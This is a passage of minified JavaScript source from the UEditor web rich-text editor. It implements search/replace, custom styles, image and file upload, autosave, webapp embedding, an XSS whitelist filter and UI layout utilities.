                    if (-1 != (n = m(3 == e.nodeType ? e.nodeValue : e[browser.ie ? "innerText" : "textContent"], i, t))) return {
                        node: e,
                        index: n
                    };
                    for (e = domUtils[o](e); e && u[e.nodeName.toLowerCase()];) e = domUtils[o](e, !0);
                    e && (t = -1 == i.dir ? (3 == e.nodeType ? e.nodeValue : e[browser.ie ? "innerText" : "textContent"]).length : 0)
                }
            }(i, s, t);
            if (l) {
                var d = f(l.node, l.index, o), c = f(l.node, l.index + o.length, o);
                return n.setStart(d.node, d.index).setEnd(c.node, c.index), void 0 !== t.replaceStr && h(n, t.replaceStr), n.select(), 1
            }
            n.setCursor()
        }

        function h(e, t) {
            t = r.document.createTextNode(t), e.deleteContents().insertNode(t)
        }

        return {
            commands: {
                searchreplace: {
                    execCommand: function (e, t) {
                        utils.extend(t, {all: !1, casesensitive: !1, dir: 1}, !0);
                        var i = 0;
                        if (t.all) {
                            var n = r.selection.getRange(), o = r.body.firstChild;
                            for (o && 1 == o.nodeType ? (n.setStart(o, 0), n.shrinkBoundary(!0)) : 3 == o.nodeType && n.setStartBefore(o), n.collapse(!0).select(!0), void 0 !== t.replaceStr && r.fireEvent("saveScene"); a(this, t);) i++;
                            i && r.fireEvent("saveScene")
                        } else void 0 !== t.replaceStr && r.fireEvent("saveScene"), a(this, t) && i++, i && r.fireEvent("saveScene");
                        return i
                    }, notNeedUndo: 1
                }
            }
        }
    }), UE.plugins.customstyle = function () {
        var a = this;
        a.setOpt({
            customstyle: [{
                tag: "h1",
                name: "tc",
                style: "font-size:32px;font-weight:bold;border-bottom:#ccc 2px solid;padding:0 4px 0 0;text-align:center;margin:0 0 20px 0;"
            }, {
                tag: "h1",
                name: "tl",
                style: "font-size:32px;font-weight:bold;border-bottom:#ccc 2px solid;padding:0 4px 0 0;text-align:left;margin:0 0 10px 0;"
            }, {
                tag: "span",
                name: "im",
                style: "font-size:16px;font-style:italic;font-weight:bold;line-height:18px;"
            }, {
                tag: "span",
                name: "hi",
                style: "font-size:16px;font-style:italic;font-weight:bold;color:rgb(51, 153, 204);line-height:18px;"
            }]
        }), a.commands.customstyle = {
            execCommand: function (e, t) {
                var i, n, o = this, r = t.tag, a = domUtils.findParent(o.selection.getStart(), function (e) {
                    return e.getAttribute("label")
                }, !0), s = {};
                for (var l in t) void 0 !== t[l] && (s[l] = t[l]);
                if (delete s.tag, a && a.getAttribute("label") == t.label) {
                    if (n = (i = this.selection.getRange()).createBookmark(), i.collapsed) {
                        if (dtd.$block[a.tagName]) (f = o.document.createElement("p")).className = "ueditor-p", domUtils.moveChild(a, f), a.parentNode.insertBefore(f, a), domUtils.remove(a); else domUtils.remove(a, !0)
                    } else {
                        var d = domUtils.getCommonAncestor(n.start, n.end), c = domUtils.getElementsByTagName(d, r);
                        new RegExp(r, "i").test(d.tagName) && c.push(d);
                        for (var u, m = 0; u = c[m++];) if (u.getAttribute("label") == t.label) {
                            var f, h = domUtils.getPosition(u, n.start), p = domUtils.getPosition(u, n.end);
                            if ((h & domUtils.POSITION_FOLLOWING || h & domUtils.POSITION_CONTAINS) && (p & domUtils.POSITION_PRECEDING || p & domUtils.POSITION_CONTAINS) && dtd.$block[r]) (f = o.document.createElement("p")).className = "ueditor-p", domUtils.moveChild(u, f), u.parentNode.insertBefore(f, u);
                            domUtils.remove(u, !0)
                        }
                        (a = domUtils.findParent(d, function (e) {
                            return e.getAttribute("label") == t.label
                        }, !0)) && domUtils.remove(a, !0)
                    }
                    i.moveToBookmark(n).select()
                } else if (dtd.$block[r]) {
                    if (this.execCommand("paragraph", r, s, "customstyle"), !(i = o.selection.getRange()).collapsed) {
                        i.collapse(), a = domUtils.findParent(o.selection.getStart(), function (e) {
                            return e.getAttribute("label") == t.label
                        }, !0);
                        var g = o.document.createElement("p");
                        g.className = "ueditor-p", domUtils.insertAfter(a, g), domUtils.fillNode(o.document, g), i.setStart(g, 0).setCursor()
                    }
                } else {
                    if ((i = o.selection.getRange()).collapsed) return a = o.document.createElement(r), domUtils.setAttributes(a, s), void i.insertNode(a).setStart(a, 0).setCursor();
                    n = i.createBookmark(), i.applyInlineStyle(r, s).moveToBookmark(n).select()
                }
            }, queryCommandValue: function () {
                var e = domUtils.filterNodeList(this.selection.getStartElementPath(), function (e) {
                    return e.getAttribute("label")
                });
                return e ? e.getAttribute("label") : ""
            }
        }, a.addListener("keyup", function (e, t) {
            var i = t.keyCode || t.which;
            if (32 == i || 13 == i) {
                var n = a.selection.getRange();
                if (n.collapsed) {
                    var o = domUtils.findParent(a.selection.getStart(), function (e) {
                        return e.getAttribute("label")
                    }, !0);
                    if (o && dtd.$block[o.tagName] && domUtils.isEmptyNode(o)) {
                        var r = a.document.createElement("p");
                        r.className = "ueditor-p", domUtils.insertAfter(o, r), domUtils.fillNode(a.document, r), domUtils.remove(o), n.setStart(r, 0).setCursor()
                    }
                }
            }
        })
    }, UE.plugins.catchremoteimage = function () {
        var me = this, ajax = UE.ajax;
        void 0 !== me.options.catchRemoteImageEnable && (me.setOpt({catchRemoteImageEnable: !1}), me.addListener("afterpaste", function () {
            me.fireEvent("catchRemoteImage")
        }), me.addListener("catchRemoteImage", function () {
            for (var catcherLocalDomain = me.getOpt("catcherLocalDomain"), catcherActionUrl = me.getActionUrl(me.getOpt("catcherActionName")), catcherUrlPrefix = me.getOpt("catcherUrlPrefix"), catcherFieldName = me.getOpt("catcherFieldName"), remoteImages = [], imgs = domUtils.getElementsByTagName(me.document, "img"), test = function (e, t) {
                if (-1 != e.indexOf(location.host) || /(^\.)|(^\/)/.test(e)) return !0;
                if (t) for (var i, n = 0; i = t[n++];) if (-1 !== e.indexOf(i)) return !0;
                return !1
            }, i = 0, ci; ci = imgs[i++];) if (!ci.getAttribute("word_img")) {
                var src = ci.getAttribute("_src") || ci.src || "";
                /^(https?|ftp):/i.test(src) && !test(src, catcherLocalDomain) && remoteImages.push(src)
            }

            function catchremoteimage(e, t) {
                var i = utils.serializeParam(me.queryCommandValue("serverparam")) || "",
                    n = utils.formatUrl(catcherActionUrl + (-1 == catcherActionUrl.indexOf("?") ? "?" : "&") + i), o = {
                        method: "POST",
                        dataType: utils.isCrossDomainUrl(n) ? "jsonp" : "",
                        timeout: 6e4,
                        onsuccess: t.success,
                        onerror: t.error
                    };
                o[catcherFieldName] = e, ajax.request(n, o)
            }

            remoteImages.length && catchremoteimage(remoteImages, {
                success: function (r) {
                    try {
                        var info = void 0 !== r.state ? r : eval("(" + r.responseText + ")")
                    } catch (e) {
                        return
                    }
                    var i, j, ci, cj, oldSrc, newSrc, list = info.list;
                    for (i = 0; ci = imgs[i++];) for (oldSrc = ci.getAttribute("_src") || ci.src || "", j = 0; cj = list[j++];) if (oldSrc == cj.source && "SUCCESS" == cj.state) {
                        newSrc = catcherUrlPrefix + cj.url, domUtils.setAttributes(ci, {src: newSrc, _src: newSrc});
                        break
                    }
                    me.fireEvent("catchremotesuccess")
                }, error: function () {
                    me.fireEvent("catchremoteerror")
                }
            })
        }))
    }, UE.plugin.register("snapscreen", function () {
        var me = this, snapplugin;

        function getLocation(e) {
            var t, i = document.createElement("a"), n = utils.serializeParam(me.queryCommandValue("serverparam")) || "";
            return i.href = e, browser.ie && (i.href = i.href), t = i.search, n && (t = (t = t + (-1 == t.indexOf("?") ? "?" : "&") + n).replace(/[&]+/gi, "&")), {
                port: i.port,
                hostname: i.hostname,
                path: i.pathname + t || +i.hash
            }
        }

        return {
            commands: {
                snapscreen: {
                    execCommand: function (cmd) {
                        var url, local, res, lang = me.getLang("snapScreen_plugin");
                        if (!snapplugin) {
                            var container = me.container, doc = me.container.ownerDocument || me.container.document;
                            snapplugin = doc.createElement("object");
                            try {
                                snapplugin.type = "application/x-pluginbaidusnap"
                            } catch (e) {
                                return
                            }
                            snapplugin.style.cssText = "position:absolute;left:-9999px;width:0;height:0;", snapplugin.setAttribute("width", "0"), snapplugin.setAttribute("height", "0"), container.appendChild(snapplugin)
                        }

                        function onSuccess(rs) {
                            try {
                                if (rs = eval("(" + rs + ")"), "SUCCESS" == rs.state) {
                                    var opt = me.options;
                                    me.execCommand("insertimage", {
                                        src: opt.snapscreenUrlPrefix + rs.url,
                                        _src: opt.snapscreenUrlPrefix + rs.url,
                                        alt: rs.title || "",
                                        floatStyle: opt.snapscreenImgAlign
                                    })
                                } else alert(rs.state)
                            } catch (e) {
                                alert(lang.callBackErrorMsg)
                            }
                        }

                        url = me.getActionUrl(me.getOpt("snapscreenActionName")), local = getLocation(url), setTimeout(function () {
                            try {
                                res = snapplugin.saveSnapshot(local.hostname, local.path, local.port)
                            } catch (e) {
                                return void me.ui._dialogs.snapscreenDialog.open()
                            }
                            onSuccess(res)
                        }, 50)
                    }, queryCommandState: function () {
                        return -1 != navigator.userAgent.indexOf("Windows", 0) ? 0 : -1
                    }
                }
            }
        }
    }), UE.commands.insertparagraph = {
        execCommand: function (e, t) {
            for (var i, n = this.selection.getRange(), o = n.startContainer; o && !domUtils.isBody(o);) o = (i = o).parentNode;
            if (i) {
                var r = this.document.createElement("p");
                r.className = "ueditor-p", t ? i.parentNode.insertBefore(r, i) : i.parentNode.insertBefore(r, i.nextSibling), domUtils.fillNode(this.document, r), n.setStart(r, 0).setCursor(!1, !0)
            }
        }
    }, UE.plugin.register("webapp", function () {
        var i = this;

        function n(e, t) {
            return t ? '<iframe class="edui-faked-webapp" title="' + e.title + '" ' + (e.align && !e.cssfloat ? 'align="' + e.align + '"' : "") + (e.cssfloat ? 'style="float:' + e.cssfloat + '"' : "") + 'width="' + e.width + '" height="' + e.height + '"  scrolling="no" frameborder="0" src="' + e.url + '" logo_url = "' + e.logo + '"></iframe>' : '<img title="' + e.title + '" width="' + e.width + '" height="' + e.height + '" src="' + i.options.UEDITOR_HOME_URL + 'themes/default/images/spacer.gif" _logo_url="' + e.logo + '" style="background:url(' + e.logo + ') no-repeat center center; border:1px solid gray;" class="edui-faked-webapp" _url="' + e.url + '" ' + (e.align && !e.cssfloat ? 'align="' + e.align + '"' : "") + (e.cssfloat ? 'style="float:' + e.cssfloat + '"' : "") + "/>"
        }

        return {
            outputRule: function (e) {
                utils.each(e.getNodesByTagName("img"), function (e) {
                    var t;
                    if ("edui-faked-webapp" == e.getAttr("class")) {
                        t = n({
                            title: e.getAttr("title"),
                            width: e.getAttr("width"),
                            height: e.getAttr("height"),
                            align: e.getAttr("align"),
                            cssfloat: e.getStyle("float"),
                            url: e.getAttr("_url"),
                            logo: e.getAttr("_logo_url")
                        }, !0);
                        var i = UE.uNode.createElement(t);
                        e.parentNode.replaceChild(i, e)
                    }
                })
            }, inputRule: function (e) {
                utils.each(e.getNodesByTagName("iframe"), function (e) {
                    if ("edui-faked-webapp" == e.getAttr("class")) {
                        var t = UE.uNode.createElement(n({
                            title: e.getAttr("title"),
                            width: e.getAttr("width"),
                            height: e.getAttr("height"),
                            align: e.getAttr("align"),
                            cssfloat: e.getStyle("float"),
                            url: e.getAttr("src"),
                            logo: e.getAttr("logo_url")
                        }));
                        e.parentNode.replaceChild(t, e)
                    }
                })
            }, commands: {
                webapp: {
                    execCommand: function (e, t) {
                        var i = n(utils.extend(t, {align: "none"}), !1);
                        this.execCommand("inserthtml", i)
                    }, queryCommandState: function () {
                        var e = this.selection.getRange().getClosedNode();
                        return e && "edui-faked-webapp" == e.className ? 1 : 0
                    }
                }
            }
        }
    }), UE.plugins.template = function () {
        UE.commands.template = {
            execCommand: function (e, t) {
                t.html && this.execCommand("inserthtml", t.html)
            }
        }, this.addListener("click", function (e, t) {
            var i = t.target || t.srcElement, n = this.selection.getRange(), o = domUtils.findParent(i, function (e) {
                if (e.className && domUtils.hasClass(e, "ue_t")) return e
            }, !0);
            o && n.selectNode(o).shrinkBoundary().select()
        }), this.addListener("keydown", function (e, t) {
            var i = this.selection.getRange();
            if (!i.collapsed && !(t.ctrlKey || t.metaKey || t.shiftKey || t.altKey)) {
                var n = domUtils.findParent(i.startContainer, function (e) {
                    if (e.className && domUtils.hasClass(e, "ue_t")) return e
                }, !0);
                n && domUtils.removeClasses(n, ["ue_t"])
            }
        })
    }, UE.plugin.register("autoupload", function () {
        function l(e, t) {
            var i, r, n, o, a, s, l, d, c = t, u = /image\/\w+/i.test(e.type) ? "image" : "file",
                m = "loading_" + (+new Date).toString(36);
            if (i = c.getOpt(u + "FieldName"), r = c.getOpt(u + "UrlPrefix"), n = c.getOpt(u + "MaxSize"), o = c.getOpt(u + "AllowFiles"), a = c.getActionUrl(c.getOpt(u + "ActionName")), l = function (e) {
                var t = c.document.getElementById(m);
                t && domUtils.remove(t), c.fireEvent("showmessage", {id: m, content: e, type: "error", timeout: 4e3})
            }, d = "image" == u ? (s = '<img class="loadingclass" id="' + m + '" src="' + c.options.themePath + c.options.theme + '/images/spacer.gif" title="' + (c.getLang("autoupload.loading") || "") + '" >', function (e) {
                var t = r + e.url, i = c.document.getElementById(m);
                i && (i.setAttribute("src", t), i.setAttribute("_src", t), i.setAttribute("title", e.title || ""), i.setAttribute("alt", e.original || ""), i.removeAttribute("id"), domUtils.removeClasses(i, "loadingclass"))
            }) : (s = '<p class="ueditor-p"><img class="loadingclass" id="' + m + '" src="' + c.options.themePath + c.options.theme + '/images/spacer.gif" title="' + (c.getLang("autoupload.loading") || "") + '" ></p>', function (e) {
                var t = r + e.url, i = c.document.getElementById(m), n = c.selection.getRange(), o = n.createBookmark();
                n.selectNode(i).select(), c.execCommand("insertfile", {url: t}), n.moveToBookmark(o).select()
            }), c.execCommand("inserthtml", s), c.getOpt(u + "ActionName")) if (e.size > n) l(c.getLang("autoupload.exceedSizeError")); else {
                var f = e.name ? e.name.substr(e.name.lastIndexOf(".")) : "";
                if (f && "image" != u || o && -1 == (o.join("") + ".").indexOf(f.toLowerCase() + ".")) l(c.getLang("autoupload.exceedTypeError")); else {
                    var h = new XMLHttpRequest, p = new FormData,
                        g = utils.serializeParam(c.queryCommandValue("serverparam")) || "",
                        b = utils.formatUrl(a + (-1 == a.indexOf("?") ? "?" : "&") + g);
                    p.append(i, e, e.name || "blob." + e.type.substr("image/".length)), p.append("type", "ajax"), h.open("post", b, !0), h.setRequestHeader("X-Requested-With", "XMLHttpRequest"), h.addEventListener("load", function (e) {
                        try {
                            var t = new Function("return " + utils.trim(e.target.response))();
                            "SUCCESS" == t.state && t.url ? d(t) : l(t.state)
                        } catch (e) {
                            l(c.getLang("autoupload.loadError"))
                        }
                    }), h.send(p)
                }
            } else l(c.getLang("autoupload.errorLoadConfig"))
        }

        return {
            outputRule: function (e) {
                utils.each(e.getNodesByTagName("img"), function (e) {
                    /\b(loaderrorclass)|(bloaderrorclass)\b/.test(e.getAttr("class")) && e.parentNode.removeChild(e)
                }), utils.each(e.getNodesByTagName("p"), function (e) {
                    /\bloadpara\b/.test(e.getAttr("class")) && e.parentNode.removeChild(e)
                })
            }, bindEvents: {
                ready: function (e) {
                    var s = this;
                    window.FormData && window.FileReader && (domUtils.on(s.body, "paste drop", function (e) {
                        var t, i, n, o = !1;
                        if (t = "paste" == e.type ? (n = e).clipboardData && n.clipboardData.items && 1 == n.clipboardData.items.length && /^image\//.test(n.clipboardData.items[0].type) ? n.clipboardData.items : null : (i = e).dataTransfer && i.dataTransfer.files ? i.dataTransfer.files : null) {
                            for (var r, a = t.length; a--;) (r = t[a]).getAsFile && (r = r.getAsFile()), r && 0 < r.size && (l(r, s), o = !0);
                            o && e.preventDefault()
                        }
                    }), domUtils.on(s.body, "dragover", function (e) {
                        "Files" == e.dataTransfer.types[0] && e.preventDefault()
                    }), utils.cssRule("loading", ".loadingclass{display:inline-block;cursor:default;background: url('" + this.options.themePath + this.options.theme + "/images/loading.gif') no-repeat center center transparent;border:1px solid #cccccc;margin-left:1px;height: 22px;width: 22px;}\n.loaderrorclass{display:inline-block;cursor:default;background: url('" + this.options.themePath + this.options.theme + "/images/loaderror.png') no-repeat center center transparent;border:1px solid #cccccc;margin-right:1px;height: 22px;width: 22px;}", this.document))
                }
            }
        }
    }), UE.plugin.register("autosave", function () {
        var i = this, n = new Date, o = 20, r = null;

        function e(e) {
            var t;
            new Date - n < o || (e.hasContents() ? (n = new Date, e._saveFlag = null, t = i.body.innerHTML, !1 !== e.fireEvent("beforeautosave", {content: t}) && (i.setPreferences(r, t), e.fireEvent("afterautosave", {content: t}))) : r && i.removePreferences(r))
        }

        return {
            defaultOptions: {saveInterval: 500}, bindEvents: {
                ready: function () {
                    var e = "-drafts-data", t = null;
                    t = i.key ? i.key + e : (i.container.parentNode.id || "ue-common") + e, r = (location.protocol + location.host + location.pathname).replace(/[.:\/]/g, "_") + t
                }, contentchange: function () {
                    i.getOpt("enableAutoSave") && r && (i._saveFlag && window.clearTimeout(i._saveFlag), 0 < i.options.saveInterval ? i._saveFlag = window.setTimeout(function () {
                        e(i)
                    }, i.options.saveInterval) : e(i))
                }
            }, commands: {
                clearlocaldata: {
                    execCommand: function (e, t) {
                        r && i.getPreferences(r) && i.removePreferences(r)
                    }, notNeedUndo: !0, ignoreContentChange: !0
                }, getlocaldata: {
                    execCommand: function (e, t) {
                        return r && i.getPreferences(r) || ""
                    }, notNeedUndo: !0, ignoreContentChange: !0
                }, drafts: {
                    execCommand: function (e, t) {
                        r && (i.body.innerHTML = i.getPreferences(r) || '<p class="ueditor-p">' + domUtils.fillHtml + "</p>", i.focus(!0))
                    }, queryCommandState: function () {
                        return !r || null === i.getPreferences(r) ? -1 : 0
                    }, notNeedUndo: !0, ignoreContentChange: !0
                }
            }
        }
    }), UE.plugin.register("simpleupload", function () {
        var i, m = this, f = !1;

        function n() {
            var r = i.offsetWidth || 20, a = i.offsetHeight || 20, s = document.createElement("iframe"),
                l = "display:block;width:" + r + "px;height:" + a + "px;overflow:hidden;border:0;margin:0;padding:0;position:absolute;top:0;left:0;filter:alpha(opacity=0);-moz-opacity:0;-khtml-opacity: 0;opacity: 0;cursor:pointer;";
            domUtils.on(s, "load", function () {
                var e, t, i, n = (+new Date).toString(36);
                i = (t = s.contentDocument || s.contentWindow.document).body, (e = t.createElement("div")).innerHTML = '<form id="edui_form_' + n + '" target="edui_iframe_' + n + '" method="POST" enctype="multipart/form-data" action="' + m.getOpt("serverUrl") + '" style="' + l + '"><input id="edui_input_' + n + '" type="file" accept="image/*" name="' + m.options.imageFieldName + '" style="' + l + '"></form><iframe id="edui_iframe_' + n + '" name="edui_iframe_' + n + '" style="display:none;width:0;height:0;border:0;margin:0;padding:0;position:absolute;"></iframe>', e.className = "edui-" + m.options.theme, e.id = m.ui.id + "_iframeupload", i.style.cssText = l, i.style.width = r + "px", i.style.height = a + "px", i.appendChild(e), i.parentNode && (i.parentNode.style.width = r + "px", i.parentNode.style.height = r + "px");
                var o, d = t.getElementById("edui_form_" + n), c = t.getElementById("edui_input_" + n),
                    u = t.getElementById("edui_iframe_" + n);
                domUtils.on(c, "change", function () {
                    if (c.value) {
                        var o = "loading_" + (+new Date).toString(36), e = m.getActionUrl(m.getOpt("imageActionName")),
                            t = m.getOpt("imageAllowFiles");
                        if (m.focus(), m.execCommand("inserthtml", '<img class="loadingclass" id="' + o + '" src="' + m.options.themePath + m.options.theme + '/images/spacer.gif" title="' + (m.getLang("simpleupload.loading") || "") + '" >'), m.getOpt("imageActionName")) {
                            var i = c.value, n = i ? i.substr(i.lastIndexOf(".")) : "";
                            if (!n || t && -1 == (t.join("") + ".").indexOf(n.toLowerCase() + ".")) l(m.getLang("simpleupload.exceedTypeError")); else {
                                var r = utils.serializeParam(m.queryCommandValue("serverparam")) || "",
                                    a = utils.formatUrl(e + (-1 == e.indexOf("?") ? "?" : "&") + r), s = new FormData;
                                s.append("upfile", d[0].files[0]), $.ajax({
                                    url: a,
                                    type: "POST",
                                    cache: !1,
                                    data: s,
                                    processData: !1,
                                    contentType: !1,
                                    success: function (e) {
                                        e = JSON.parse(e);
                                        var t, i, n = (u.contentDocument || u.contentWindow.document).body;
                                        n.innerText || n.textContent;
                                        t = m.options.imageUrlPrefix + e.url, "SUCCESS" == e.state && e.url ? ((i = m.document.getElementById(o)).setAttribute("src", t), i.setAttribute("_src", t), i.setAttribute("title", e.title || ""), i.setAttribute("alt", e.original || ""), i.removeAttribute("id"), domUtils.removeClasses(i, "loadingclass")) : l(e.state), d.reset()
                                    }
                                })
                            }
                        } else errorHandler(m.getLang("autoupload.errorLoadConfig"))
                    }

                    function l(e) {
                        if (o) {
                            var t = m.document.getElementById(o);
                            t && domUtils.remove(t), m.fireEvent("showmessage", {
                                id: o,
                                content: e,
                                type: "error",
                                timeout: 4e3
                            })
                        }
                    }
                }), m.addListener("selectionchange", function () {
                    clearTimeout(o), o = setTimeout(function () {
                        var e = m.queryCommandState("simpleupload");
                        c.disabled = -1 == e && "disabled"
                    }, 400)
                }), f = !0
            }), s.style.cssText = l, i.appendChild(s)
        }

        return {
            bindEvents: {
                ready: function () {
                    utils.cssRule("loading", ".loadingclass{display:inline-block;cursor:default;background: url('" + this.options.themePath + this.options.theme + "/images/loading.gif') no-repeat center center transparent;border:1px solid #cccccc;margin-right:1px;height: 22px;width: 22px;}\n.loaderrorclass{display:inline-block;cursor:default;background: url('" + this.options.themePath + this.options.theme + "/images/loaderror.png') no-repeat center center transparent;border:1px solid #cccccc;margin-right:1px;height: 22px;width: 22px;}", this.document)
                }, simpleuploadbtnready: function (e, t) {
                    i = t, m.afterConfigReady(n)
                }
            }, outputRule: function (e) {
                utils.each(e.getNodesByTagName("img"), function (e) {
                    /\b(loaderrorclass)|(bloaderrorclass)\b/.test(e.getAttr("class")) && e.parentNode.removeChild(e)
                })
            }, commands: {
                simpleupload: {
                    queryCommandState: function () {
                        return f ? 0 : -1
                    }
                }
            }
        }
    }), UE.plugin.register("serverparam", function () {
        var n = {};
        return {
            commands: {
                serverparam: {
                    execCommand: function (e, t, i) {
                        null == t ? n = {} : utils.isString(t) ? null == i ? delete n[t] : n[t] = i : utils.isObject(t) ? utils.extend(n, t, !0) : utils.isFunction(t) && utils.extend(n, t(), !0)
                    }, queryCommandValue: function () {
                        return n || {}
                    }
                }
            }
        }
    }), UE.plugins.xssFilter = function () {
        var i, e = UEDITOR_CONFIG, o = e.whitList;

        function n(i) {
            var n = i.tagName, e = i.attrs;
            if (!o.hasOwnProperty(n)) return i.parentNode.removeChild(i), !1;
            UE.utils.each(e, function (e, t) {
                -1 === o[n].indexOf(t) && i.setAttr(t)
            })
        }

        o && e.xssFilterRules && (this.options.filterRules = (i = {}, UE.utils.each(o, function (e, t) {
            i[t] = function (e) {
                return n(e)
            }
        }), i));
        var r = [];
        UE.utils.each(o, function (e, t) {
            r.push(t)
        }), o && e.inputXssFilter && this.addInputRule(function (e) {
            e.traversal(function (e) {
                if ("element" !== e.type) return !1;
                n(e)
            })
        }), o && e.outputXssFilter && this.addOutputRule(function (e) {
            e.traversal(function (e) {
                if ("element" !== e.type) return !1;
                n(e)
            })
        })
    };
    var baidu = baidu || {}, r6, s6, t6, u6, v6, w6, x6, H7, I7, J7, K7, _7, a8, b8, d8, e8, f8, g8, h8, z9, A9, B9, C9,
        Y9, Z9, $9, _9, uaa, vaa, waa, xaa, Gaa, Haa, Jaa, Kaa, Laa, Taa, Uaa, Vaa, Waa, Xaa, Yaa, gba, hba, iba, jba,
        kba, sba, tba, uba, Cba, Dba, Eba, Fba, Gba, lca, mca, nca, oca, pca, Bca, Cca, Dca, Eca, Fca, Mca, Nca, Oca,
        Pca, Mda, Nda, Oda, Pda, Qda, jea, kea, lea, cea, dea, eea, fea, gea, hea, iea, sfa, tfa, ufa, vfa, Bfa, Cfa,
        Dfa, Efa, Nfa, Hfa, Ifa, Jfa, Kfa, Lfa, Mfa, Ofa, Pfa, Mga, Nga, Oga, Qga, Rga, Sga, Tga;

    function y6() {
        var e = document.getElementById("edui_fixedlayer");
        x6.setViewportOffset(e, {left: 0, top: 0})
    }

    function Hba(e) {
        for (var t, i = {}, n = e.getDom(), o = e.editor.uid, r = null, a = domUtils.getElementsByTagName(n, "input"), s = a.length - 1; t = a[s--];) if ("checkbox" == t.getAttribute("type")) if (i[r = t.getAttribute("name")] && delete i[r], t.checked) {
            var l = document.getElementById(r + "Value" + o);
            if (l) {
                if (/input/gi.test(l.tagName)) i[r] = l.value; else for (var d, c = l.getElementsByTagName("input"), u = c.length - 1; d = c[u--];) if (d.checked) {
                    i[r] = d.value;
                    break
                }
            } else i[r] = !0
        } else i[r] = !1; else i[t.getAttribute("value")] = t.checked;
        var m, f = domUtils.getElementsByTagName(n, "select");
        for (s = 0; m = f[s++];) {
            var h = m.getAttribute("name");
            i[h] = i[h] ? m.value : ""
        }
        Cba.extend(e.editor.options.autotypeset, i), e.editor.setPreferences("autotypeset", i)
    }

    function Qfa(e) {
        var t = e.target || e.srcElement;
        if (!Lfa.findParent(t, function (e) {
            return Lfa.hasClass(e, "edui-shortcutmenu") || Lfa.hasClass(e, "edui-popup")
        }, !0)) for (var i, n = 0; i = Mfa[n++];) i.hide()
    }

    baidu.editor = baidu.editor || {}, UE.ui = baidu.editor.ui = {}, r6 = baidu.editor.browser, s6 = baidu.editor.dom.domUtils, t6 = "$EDITORUI", u6 = window[t6] = {}, v6 = "ID" + t6, w6 = 0, x6 = baidu.editor.ui.uiUtils = {
        uid: function (e) {
            return e ? e[v6] || (e[v6] = ++w6) : ++w6
        }, hook: function (o, e) {
            var r;
            return o && o._callbacks ? r = o : (r = function () {
                var e;
                o && (e = o.apply(this, arguments));
                for (var t = r._callbacks, i = t.length; i--;) {
                    var n = t[i].apply(this, arguments);
                    void 0 === e && (e = n)
                }
                return e
            })._callbacks = [], r._callbacks.push(e), r
        }, createElementByHtml: function (e) {
            var t = document.createElement("div");
            return t.innerHTML = e, (t = t.firstChild).parentNode.removeChild(t), t
        }, getViewportElement: function () {
            return r6.ie && r6.quirks ? document.body : document.documentElement
        }, getClientRect: function (e) {
            var t;
            try {
                t = e.getBoundingClientRect()
            } catch (e) {
                t = {left: 0, top: 0, height: 0, width: 0}
            }
            for (var i, n = {
                left: Math.round(t.left),
                top: Math.round(t.top),
                height: Math.round(t.bottom - t.top),
                width: Math.round(t.right - t.left)
            }; (i = e.ownerDocument) !== document && (e = s6.getWindow(i).frameElement);) t = e.getBoundingClientRect(), n.left += t.left, n.top += t.top;
            return n.bottom = n.top + n.height, n.right = n.left + n.width, n
        }, getViewportRect: function () {
            var e = x6.getViewportElement(), t = 0 | (window.innerWidth || e.clientWidth),
                i = 0 | (window.innerHeight || e.clientHeight);
            return {left: 0, top: 0, height: i, width: t, bottom: i, right: t}
        }, setViewportOffset: function (e, t) {
            var i = x6.getFixedLayer();
            e.parentNode === i ? (e.style.left = t.left + "px", e.style.top = t.top + "px") : s6.setViewportOffset(e, t)
        }, getEventOffset: function (e) {
            var t = e.target || e.srcElement, i = x6.getClientRect(t), n = x6.getViewportOffsetByEvent(e);
            return {left: n.left - i.left, top: n.top - i.top}
        }, getViewportOffsetByEvent: function (e) {
            var t = e.target || e.srcElement, i = s6.getWindow(t).frameElement, n = {left: e.clientX, top: e.clientY};
            if (i && t.ownerDocument !== document) {
                var o = x6.getClientRect(i);
                n.left += o.left, n.top += o.top
            }
            return n
        }, setGlobal: function (e, t) {
            return u6[e] = t, t6 + '["' + e + '"]'
        }, unsetGlobal: function (e) {
            delete u6[e]
        }, copyAttributes: function (e, t) {
            for (var i = t.attributes, n = i.length; n--;) {
                var o = i[n];
                "style" == o.nodeName || "class" == o.nodeName || r6.ie && !o.specified || e.setAttribute(o.nodeName, o.nodeValue)
            }
            t.className && s6.addClass(e, t.className), t.style.cssText && (e.style.cssText += ";" + t.style.cssText)
        }, removeStyle: function (e, t) {
            if (e.style.removeProperty) e.style.removeProperty(t); else {
                if (!e.style.removeAttribute) throw"";
                e.style.removeAttribute(t)
            }
        }, contains: function (e, t) {
            return e && t && e !== t && (e.contains ? e.contains(t) : 16 & e.compareDocumentPosition(t))
        }, startDrag: function (e, n, t) {
            t = t || document;
            var o = e.clientX, r = e.clientY;

            function i(e) {
                var t = e.clientX - o, i = e.clientY - r;
                n.ondragmove(t, i, e), e.stopPropagation ? e.stopPropagation() : e.cancelBubble = !0
            }

            if (t.addEventListener) {
                function a(e) {
                    t.removeEventListener("mousemove", i, !0), t.removeEventListener("mouseup", a, !0), window.removeEventListener("mouseup", a, !0), n.ondragstop()
                }

                t.addEventListener("mousemove", i, !0), t.addEventListener("mouseup", a, !0), window.addEventListener("mouseup", a, !0), e.preventDefault()
            } else {
                var s = e.srcElement;

                function l() {
                    s.releaseCapture(), s.detachEvent("onmousemove", i), s.detachEvent("onmouseup", l), s.detachEvent("onlosecaptrue", l), n.ondragstop()
                }

                s.setCapture(), s.attachEvent("onmousemove", i), s.attachEvent("onmouseup", l), s.attachEvent("onlosecaptrue", l), e.returnValue = !1
            }
            n.ondragstart()
        }, getFixedLayer: function () {
            var e = document.getElementById("edui_fixedlayer");
            return null == e && ((e = document.createElement("div")).id = "edui_fixedlayer", document.body.appendChild(e), r6.ie && r6.version <= 8 ? (e.style.position = "absolute", s6.on(window, "scroll", y6), s6.on(window, "resize", baidu.editor.utils.defer(y6, 0, !0)), setTimeout(y6)) : e.style.position = "fixed", e.style.left = "0", e.style.top = "0", e.style.width = "0", e.style.height = "0"), e
        }, makeUnselectable: function (e) {
            if (r6.opera || r6.ie && r6.version < 9) {
                if (e.unselectable = "on", e.hasChildNodes()) for (var t = 0; t < e.childNodes.length; t++) 1 == e.childNodes[t].nodeType && x6.makeUnselectable(e.childNodes[t])
            } else void 0 !== e.style.MozUserSelect ? e.style.MozUserSelect = "none" : void 0 !== e.style.WebkitUserSelect ? e.style.WebkitUserSelect = "none" : void 0 !== e.style.KhtmlUserSelect && (e.style.KhtmlUserSelect = "none")
        }
